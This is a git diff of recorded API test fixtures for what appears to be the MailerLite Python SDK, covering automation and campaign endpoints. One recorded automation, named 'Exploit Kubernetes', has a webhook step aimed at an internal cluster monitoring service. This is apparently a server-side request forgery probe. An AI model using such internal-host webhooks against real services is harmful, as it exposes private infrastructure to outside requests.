1","url":"https:\/\/dashboard.mailerlite.com\/subscribers?rules=W1t7Im9wZXJhdG9yIjoiaW5fYW55IiwiY29uZGl0aW9uIjoiZ3JvdXBzIiwiYXJncyI6WyJncm91cHMiLFsiMTAwMDkzNjU1MTkxMTI3NjgyIl1dfV1d"}],"exclude_group_ids":[],"excluded_groups":[],"broken":false,"complete":true}],"complete":true,"broken":false,"warnings":[],"emails_count":1,"first_email_screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/112078014893786447\/1284x7362024-02-02-15:00:14.png","stats":{"completed_subscribers_count":0,"subscribers_in_queue_count":0,"bounce_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"},"sent":0,"opens_count":0,"unique_opens_count":null,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"unique_clicks_count":null,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":null,"social_interaction_rate":{"float":0,"string":"0%"}},"created_at":"2024-02-02 + 14:58:43","has_banned_content":false,"qualified_subscribers_count":1,"automation_template_id":1,"automation_template_name":null,"steps":[{"id":"112078014902174936","type":"email","parent_id":null,"name":"Welcome + email","subject":"Welcome email","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","email_id":"112078014893786447","email":{"id":"112078014893786447","account_id":"83510","emailable_id":"112078014094771336","emailable_type":"automations","type":"builder","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","name":"Welcome + email","subject":"Welcome email","plain_text":"Hello,\n\nYou have received + a newsletter from {$account}.\n\nHowever, your email software can''t display + HTML emails. You can view the newsletter by clicking here:\n\n{$url}{link-id:112078108400551892}\n\n\n\nYou''re + receiving this newsletter because you have shown interest in {$account}.\nNot + interested anymore? Click here to unsubscribe:\n{$unsubscribe}{link-id:112078108397406163}","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/112078014893786447\/1284x7362024-02-02-15:00:14.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/112078014893786447","created_at":"2024-02-02 + 14:58:44","updated_at":"2025-08-29 10:23:40","is_designed":true,"language_id":4,"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":""},"language_id":4,"complete":false,"created_at":"2024-02-02 + 14:58:44","updated_at":"2025-08-29 10:23:40","track_opens":true,"google_analytics":null,"tracking_was_disabled":false,"broken":false,"has_unsubscribe_url":true,"eligible_for_sending":false,"preheader":"","builder_type":"builder","description":"Send + \"Welcome email\" email","type_count":1}]},{"id":"164063077732452327","name":"Exploit + Kubernetes","enabled":false,"trigger_data":{"track_ecommerce":false,"repeatable":false,"valid":true,"complete_workflow":true,"broken_workflow":false},"triggers":[{"id":"164063092253132222","type":"subscriber_joins_group","group_ids":["107641605251400900"],"groups":[{"id":"107641605251400900","name":"Grupa2","url":"https:\/\/dashboard.mailerlite.com\/subscribers?rules=W1t7Im9wZXJhdG9yIjoiaW5fYW55IiwiY29uZGl0aW9uIjoiZ3JvdXBzIiwiYXJncyI6WyJncm91cHMiLFsiMTA3NjQxNjA1MjUxNDAwOTAwIl1dfV1d"}],"exclude_group_ids":[],"excluded_groups":[],"broken":false,"complete":true}],"complete":true,"broken":false,"warnings":[],"emails_count":0,"first_email_screenshot_url":null,"stats":{"completed_subscribers_count":6,"subscribers_in_queue_count":0,"bounce_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"},"sent":0,"opens_count":0,"unique_opens_count":null,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"unique_clicks_count":null,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":null,"social_interaction_rate":{"float":0,"string":"0%"}},"created_at":"2025-08-29 + 10:19:03","has_banned_content":false,"qualified_subscribers_count":3,"automation_template_id":null,"automation_template_name":"Simple + welcome email","steps":[{"id":"164063098329630183","type":"webhook","parent_id":null,"complete":true,"created_at":"2025-08-29 + 10:19:23","updated_at":"2025-08-29 10:30:11","url":"http:\/\/victoria-logs-victoria-logs-single-server.monitoring.svc:9428\/blablablablabla","secret":"12345","broken":false,"webhook_id":"164063098327533218","description":"Webhook + Step","type_count":1}]},{"id":"164063434664576907","name":"Exploit test","enabled":false,"trigger_data":{"track_ecommerce":false,"repeatable":false,"valid":true,"complete_workflow":false,"broken_workflow":false},"triggers":[{"id":"164063441721492734","type":"subscriber_joins_group","group_ids":["107641605251400900"],"groups":[{"id":"107641605251400900","name":"Grupa2","url":"https:\/\/dashboard.mailerlite.com\/subscribers?rules=W1t7Im9wZXJhdG9yIjoiaW5fYW55IiwiY29uZGl0aW9uIjoiZ3JvdXBzIiwiYXJncyI6WyJncm91cHMiLFsiMTA3NjQxNjA1MjUxNDAwOTAwIl1dfV1d"}],"exclude_group_ids":[],"excluded_groups":[],"broken":false,"complete":true}],"complete":false,"broken":false,"warnings":[],"emails_count":0,"first_email_screenshot_url":null,"stats":{"completed_subscribers_count":0,"subscribers_in_queue_count":0,"bounce_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"},"sent":0,"opens_count":0,"unique_opens_count":null,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"unique_clicks_count":null,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":null,"social_interaction_rate":{"float":0,"string":"0%"}},"created_at":"2025-08-29 + 10:24:43","has_banned_content":false,"qualified_subscribers_count":9,"automation_template_id":null,"automation_template_name":"Simple + welcome email","steps":[{"id":"164063477247248150","type":"action","parent_id":null,"complete":false,"broken":false,"created_at":"2025-08-29 + 10:25:24","updated_at":"2025-08-29 10:25:25","description":"Not configured","type_count":1}]}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/automations?page=1","last":"https:\/\/connect.mailerlite.com\/api\/automations?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/automations?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/automations","per_page":10,"to":3,"total":3,"aggregations":{"workflows":2,"drafts":1,"unsync":0,"all":3}}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 84f37bd6fe62b38f-PRG + - 9818a32e0b49fa43-BEG Cache-Control: - no-cache, private Connection: @@ -58,19 +50,29 @@ interactions: Content-Type: - application/json Date: - - Fri, 02 Feb 2024 15:31:54 GMT + - Fri, 19 Sep 2025 11:10:35 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '119' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/batches-request.yml b/tests/vcr_cassettes/batches-request.yml index ebd954c..408387b 100644 --- a/tests/vcr_cassettes/batches-request.yml +++ b/tests/vcr_cassettes/batches-request.yml @@ -19,18 +19,12 @@ interactions: uri: https://connect.mailerlite.com/api/batch response: body: - string: !!binary | - H4sIAAAAAAAAA4SNsQrCMBBAf+W4udginbL5AbroZjqkyaUG0l7MJUMp/Xepk5vbgwfvbVi4mIjq - 3KBUa0nE14iqa9CbEMl9TSZJvAgJqueGlh2h6ru+wZHdimrDmUTMRKjwxvCulFfIJDUWAc8ZZnYU - 4XlJSevrwaL1vY5icxgp//Jwwn1v/jweL4LMtRCYFHRrzZxMmBbRbQxSwHKNDhYuMBJ4ros7osP+ - AQAA//8DAMYAq4DsAAAA + string: '{"total":2,"successful":0,"failed":2,"responses":[{"code":404,"body":{"message":"No + query results for model [App\\Models\\Subscriber\\Subscriber]."}},{"code":404,"body":{"message":"The + route api\/campaigns\/list could not be found."}}]}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d96ab559c5c21e-VIE + - 9818b28488b3f339-BEG Cache-Control: - no-cache, private Connection: @@ -40,19 +34,29 @@ interactions: Content-Type: - application/json Date: - - Thu, 22 Dec 2022 14:06:13 GMT + - Fri, 19 Sep 2025 11:21:03 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '118' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/campaign-activity.yml b/tests/vcr_cassettes/campaign-activity.yml index 3af504b..c9c5228 100644 --- a/tests/vcr_cassettes/campaign-activity.yml +++ b/tests/vcr_cassettes/campaign-activity.yml @@ -18,20 +18,12 @@ interactions: uri: https://connect.mailerlite.com/api/campaigns/139788917762163910/reports/subscriber-activity response: body: - string: !!binary | - H4sIAAAAAAAAA7xTwW7bMAz9lYKHnrTaTtLY1lD0D4bd6yJgZNrRIkueRGUdgvz7YMVt1uaek8gn - PPE9UjxCi4wgX46gW5BQLOuyqvOqWJWrxbIsVzkIcCPZsFEuWgaZC1BGq/0FOIkrclXX6/WyevxK - Lq7JrwKMtvsA8gid9oFBwo55DLLJmkw5a0nxw4DakDea6UG5oclw1E2mcBhR9zY0WSpd1UVZrhfF - elkXeZN5Gp3n0GQhboPyekv+GyrWB81/n0fs6akAAQZvXnL0dABpozECLL3xOT4JGGiaxRFU9J4s - byZGalrn3ZCCSe0Fnhv3coTozfuLBrdkQMK9wd/Rfb/76emgXQwgIEkhkB2aQNPYEu3G7T6rK/6T - wz5e1Hw28YPe+O7eJydXBl4FjMi7mziYxkZ+bv1jLoAdyMV0MJoUYd976pG1s+kzoznj0wJQmxYn - 2vdkMS/Cx8VHyTPQOf8HfTtnO/Tt1kWr5jy4jj/nSqPZaMvkJ8HOJvhXtPtpxU6nfwAAAP//AwC3 - F1jH5wMAAA== + string: '{"data":[{"id":"139789081474237740","opens_count":2,"clicks_count":0},{"id":"139789081489966385","opens_count":3,"clicks_count":0}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/campaigns\/139788917762163910\/reports\/subscriber-activity?page=1","last":"https:\/\/connect.mailerlite.com\/api\/campaigns\/139788917762163910\/reports\/subscriber-activity?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/campaigns\/139788917762163910\/reports\/subscriber-activity?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/campaigns\/139788917762163910\/reports\/subscriber-activity","per_page":50,"to":2,"total":2,"aggregations":{"all":2,"opened":2,"unopened":0,"clicked":0,"unsubscribed":0,"forwarded":0,"hardbounced":0,"softbounced":0,"social_interaction":0,"junk":0}}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9cd12f70e295-BEG + - 9818abefdda00a8e-BEG Cache-Control: - no-cache, private Connection: @@ -41,7 +33,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:20 GMT + - Fri, 19 Sep 2025 11:16:34 GMT Server: - cloudflare Transfer-Encoding: @@ -50,14 +42,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '111' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/campaign-cancel.yml b/tests/vcr_cassettes/campaign-cancel.yml index 7fb389c..7146b0c 100644 --- a/tests/vcr_cassettes/campaign-cancel.yml +++ b/tests/vcr_cassettes/campaign-cancel.yml @@ -15,41 +15,30 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: POST - uri: https://connect.mailerlite.com/api/campaigns/139789204514145550/cancel + uri: https://connect.mailerlite.com/api/campaigns/165969226036676056/cancel response: body: - string: !!binary | - H4sIAAAAAAAAA6RXbW8bNxL+KwyRAnfAytI6thPvuUGB3B2KIk2Lnr8cugUx2h2tJuaSG3JoWxX0 - 3wtyXyQ5SmKgn5Z85n04HM5uZQ0MsthKqmUh81fXr99cny8uLvOL/OLy8nIhMwlVZYNhlTjevLrM - I2igRVnID/gg3kHbATVGfIhYJnnTRZLDJmhwMpOegYOXhawdrFhmsiXvyTSqt/37H5n0yEym8dET - dlDdKduh8bJgFzCTwaNqrG00KjCgN0yVl8UKtMdMYmXbFl2FKkmSaQbSLpMr0oyut9Gv1co6tQ4t - RO0RrlHTPbqN8tUa66Cj7+OylpnUYJoADfbx5zKTlUNgrBWwLOT54vxilp/PFhciz4vLqyK/kJkM - Xf01luuYldFG9OiQ60qc58ViUSxinj8FDIMeE7ROyXR8hKzIkF8/YbJd93XzNa4gaFbYAmn15PQv - 8zfXF+dvXstMJnpM1WclcsB0skSSJCw1qi/X1p5nqJpqKCa/L6RlIF2jU2tutczkytlWFpLRc/Do - foga0GliPKtsOzCooT5v0bP4GYzMpMNObxRbWUhq7Am5XmRIYFh+xCpm73ZNXpAXIAw+iGhVjD6K - kSuTlTWMJvLfvPj3L+9u///rf0T0921pboavEDdrhDqthLh5MZttX0ZAse12s9nbA2RpmW0bwYGZ - iTW+fYYrN+W85032yvlk8WZp642oNHj/fSlLKTxvNKblkUeR7dijQ2TgXOfDSoiY4AEt5+v8UOaz - KJJJEU/1+1IyPnI5r7yfHDhr9X+tZXSi27bgGjLFYvdDizWBsEZvhK8cohFgavGPFh5nD1Tzuri6 - WHSP/9yetfpdfwi3sZ62PTFfLL57QW1nHYPhf7VkZiPhCB/MHUArbYELYw3uwd3eyC+B0W07qGsy - zawP9Uh+JGlccZFfdo8naI6a9ReJbLtDhbvdlOaUxy9n+qacRzSWXjlPxScz2Wkgo2LSZSH/d490 - R1lpSvNTGRb51dKLBu4to9i+HO7yThgIHwmNBko8+V38nK/OxC3E1aImCGKUj5/XrwTqM9FBz89W - dM42DlrYLwx2oIHurPjx9uf3YmVdC2zPoisfTtsTDcRLKhx4JjFaLqLE9mVwehdXv0IDbkkQg9qH - ECkpSKQmCGAk3nxEYXCJxrqotIHAdCLoPpxM+A6Cv4ucB4a3L4PxYekrR0vclSY181iafm1ZBafH - LtI5vCd86CG5Zu58Uc7L+YCfHbQgshNczlMHLed96y3nJ1vu33+EohbyqkZPjcF6fGuP3rt8v98P - CTHetXVc2Tr2WM1Jkb16dZ12s/e3+wHhPSGH+/FEgeLLQw4rJmsSt5O75MYDGRNf6uFRjzNDmgZ8 - aquLTKaBQKVjSvtg6FNA9RSOe+WAk7/pEifYs0uDgVx8Fw1Wmqq7E9o+wxPwbX0HBXGsdYK/rcN3 - 0B7Ipu03hdbg4nsRTHVk+AB+hmG74hM6DuBv61hZ9wCuPpQfoOfYrwi0IsPoIFXGsRtPqc88XsVW - PacaogdoagWrNCr2V/f0EOqVD+4eN1OZJuxToD8npHMYH91R0+6PxFQrMgoC2xZSfBN7fA2PRlL5 - 2zQ3k1fDIDe6sIb9Ren97HfqHp2PmZk0PaHHAOPEzdQem3vCpbGKHaMFE0DrzcFIWUWd26GnjP7U - qHG/i0bGdWW7zbh22FPGoTwlbZraT8zxw+XvDZ9KewVGLVHtx/TBUsxYC46neMnU+Khsl8pmHJQn - NeQVdJ2mfgb/iugk8QDO9P8p8dfB4CMrz9iNvpJXVXAODevNpMgGfup4ZTs6PtUleKrU+LvS44fY - 0aFtJZlKhxpr1TgbusEdfDwBTpwemxYNP+U9hkFrFS/ZPaqpc7nhBvR9GjU1FAf2lLE+xNFhg1h7 - 5bADGjv5bvcXAAAA//8DAMHCu6VjDgAA + string: '{"data":{"id":"165969226036676056","account_id":"83510","name":"New + Campaign Name","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":"scheduled","language_id":"1","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:33","scheduled_for":"2025-09-21 20:00:00","queued_at":null,"started_at":null,"finished_at":null,"stopped_at":"2025-09-19 + 11:16:33","default_email_id":"165969226051356122","emails":[{"id":"165969226051356122","account_id":"83510","emailable_id":"165969226036676056","emailable_type":"campaigns","type":"builder_html","from":"sdk@igor.fail","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a new test + campaign subject","content":"\n\n \n \n This + is a new test campaign subject<\/title>\n <\/head>\n <body class=\"\" style=\"\">\n <!--{$body_top}-->\n <!--{$body_top}-->\n <h1>\n Test\n <\/h1><!--{$body_bottom}-->\n <style + type=\"text\/css\">\n .mlFooter p {\n margin: 0;\n }\n\n @media + only screen and (max-width: 640px) {\n .mlContentTable{\n width: 100%!important;\n min-width: + 10%!important;\n margin: 0!important;\n float: none!important;\n }\n\n .mlContentOuter{\n padding-bottom: + 0!important;\n padding-left: 15px!important;\n padding-right: 15px!important;\n padding-top: + 0!important;\n }\n }\n <\/style><!--{$body_bottom}-->\n <\/body>\n<\/html>","plain_text":"Sveiki,\n\nJ\u016bs + gavote {$account} naujienlai\u0161k\u012f. Ta\u010diau J\u016bs\u0173 el. + pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f galite + rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":null,"generate_screenshot_timestamp":"2025-09-19 + 11:16:31","preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/165969226051356122","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":true,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":true,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"next_step":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":true,"needs_repair":false}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9ccc4ec5b30c-BEG + - 9818abec694d0380-BEG Cache-Control: - no-cache, private Connection: @@ -59,7 +48,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:19 GMT + - Fri, 19 Sep 2025 11:16:33 GMT Server: - cloudflare Transfer-Encoding: @@ -68,14 +57,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '114' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/campaign-create.yml b/tests/vcr_cassettes/campaign-create.yml index 5dee01b..d70da9e 100644 --- a/tests/vcr_cassettes/campaign-create.yml +++ b/tests/vcr_cassettes/campaign-create.yml @@ -1,7 +1,7 @@ interactions: - request: body: '{"name": "Test Campaign", "language_id": 1, "type": "regular", "emails": - [{"subject": "This is a test campaign", "from_name": "Test Man", "from": "testuser@mailerlite.com", + [{"subject": "This is a test campaign", "from_name": "Test Man", "from": "sdk@igor.fail", "content": "<html><body><h1>Test</h1></body></html>"}]}' headers: Accept: @@ -11,7 +11,7 @@ interactions: Connection: - keep-alive Content-Length: - - '228' + - '218' Content-Type: - application/json User-Agent: @@ -20,20 +20,19 @@ interactions: uri: https://connect.mailerlite.com/api/campaigns response: body: - string: '{"data":{"id":"139789204514145550","account_id":"83510","name":"Test - Campaign","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":null,"language_id":"1","language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"created_at":"2024-12-04 - 11:56:14","updated_at":"2024-12-04 11:56:14","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"139789204551894287","emails":[{"id":"139789204551894287","account_id":"83510","emailable_id":"139789204514145550","emailable_type":"campaigns","type":"builder_html","from":"testuser@mailerlite.com","from_name":"Test - Man","reply_to":"igor@mailerlite.com","name":null,"subject":"This is a test - campaign","plain_text":"Sveiki,\n\nJ\u016bs gavote {$account} naujienlai\u0161k\u012f. - Ta\u010diau J\u016bs\u0173 el. pa\u0161to programa programa nepalaiko HTML - formato.\n\nNaujienlai\u0161k\u012f galite rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu - ateityje nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/139789204551894287","created_at":"2024-12-04 - 11:56:14","updated_at":"2024-12-04 11:56:16","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"unique_opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"unique_clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":true,"cannot_be_scheduled_reason":null,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"recipients_count":2,"next_step":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":true,"needs_repair":false}}' + string: '{"data":{"id":"165969226036676056","account_id":"83510","name":"Test + Campaign","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":null,"language_id":"1","language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:28","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"165969226051356122","emails":[{"id":"165969226051356122","account_id":"83510","emailable_id":"165969226036676056","emailable_type":"campaigns","type":"builder_html","from":"sdk@igor.fail","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a test campaign","plain_text":"Sveiki,\n\nJ\u016bs + gavote {$account} naujienlai\u0161k\u012f. Ta\u010diau J\u016bs\u0173 el. + pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f galite + rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":null,"generate_screenshot_timestamp":"2025-09-19 + 11:16:31","preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/165969226051356122","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":true,"cannot_be_scheduled_reason":null,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"recipients_count":1004,"next_step":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":true,"needs_repair":false}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9ca7df51e292-BEG + - 9818abcb6e90bbed-BEG Cache-Control: - no-cache, private Connection: @@ -41,7 +40,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:17 GMT + - Fri, 19 Sep 2025 11:16:31 GMT Server: - cloudflare Transfer-Encoding: @@ -50,14 +49,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '119' + x-user_id: + - '106223' status: code: 201 message: Created diff --git a/tests/vcr_cassettes/campaign-delete.yml b/tests/vcr_cassettes/campaign-delete.yml index e167946..1e48be3 100644 --- a/tests/vcr_cassettes/campaign-delete.yml +++ b/tests/vcr_cassettes/campaign-delete.yml @@ -15,35 +15,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - 